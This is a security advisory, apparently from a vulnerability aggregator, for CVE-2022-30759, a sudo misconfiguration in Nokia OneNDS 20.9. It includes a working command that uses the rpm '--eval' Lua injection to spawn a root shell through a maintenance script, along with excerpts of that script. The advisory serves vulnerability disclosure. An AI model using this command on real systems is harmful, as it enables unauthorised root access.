Lucene search
K

Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation Vulnerability

🗓️ 24 Apr 2023 00:00:00Reported by Giacomo SighinolfiType 
zdt
 zdt
🔗 0day.today👁 277 Views

Nokia OneNDS 20.9 insecure permissions / privilege escalation vulnerability, allows system users to run arbitrary command

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2022-30759
3 May 202300:30
circl
CNNVD
Nokia OneNDS 权限许可和访问控制问题漏洞
21 Apr 202300:00
cnnvd
CVE
CVE-2022-30759
2 May 202300:00
cve
Cvelist
CVE-2022-30759
2 May 202300:00
cvelist
EUVD
EUVD-2022-52588
3 Oct 202520:07
euvd
NVD
CVE-2022-30759
2 May 202321:15
nvd
OSV
CVE-2022-30759
2 May 202321:15
osv
Packet Storm
Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation
21 Apr 202300:00
packetstorm
Prion
Command injection
2 May 202321:15
prion
Positive Technologies
PT-2023-13019 · Nokia · Nokia Onends
2 May 202300:00
ptsecurity
Rows per page
===============================================================================
             title: Incorrect Permission Assignment
           product: Nokia OneNDS 20.9
vulnerability type: Security Misconfiguration
          severity: High
        CVSS Score: 7.8
       CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
          found on: 04/05/2022
                by: Giacomo Sighinolfi <[email protected]>
               cve: CVE-2022-30759
===============================================================================

Some sudo permissions can be exploited by some users to escalate to root 
privileges and execute arbitrary commands on the system.

The affected users are:
  Provgw, notifs, dbmrun,   (system users)
They can run as root the following script:
  /opt/cntdb/bin/noscripts_rpm.sh
It can be exploited with:
  sudo  /opt/cntdb/bin/noscripts_rpm.sh force-erase 
    "--eval '%{lua:os.execute(\"/bin/sh\")}'"


===============================================================================  

Detailed analysis:

The script accept as first argument one of the these options: 
  install|update|fallback|erase|test-install|test-update|test-erase|
  force-install|force-update|force-erase 
and as a second argument an arbitrary rpm package name.

If we analyze the switch case code block (row 175) we can see how the first 
argument influence the execution of the script.
175. case "$1" in
…
224.   test-erase)
225.         TEST_OPTION="--test"
226.         OPTION="-e"
227.      ;;
…
238.   force-erase)
239.         TEST_OPTION="--nodeps"
240.         OPTION="-e"
241.      ;;
…
Using “force-erase” or “test-erase” as the first argument, it creates “OPTION” 
variable with “-e” as its value. That value allow us to trigger a privilege 
escalation exploiting the rpm command (row 254) with a particular rpm package 
name as second parameter passed to the script.
…
252. if [ $OPTION == "-e" ]
253. then
254.   rpm $OPTION --noscripts $TEST_OPTION $2
…

===============================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

24 Apr 2023 00:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.18.8
EPSS0.00387
SSVC
277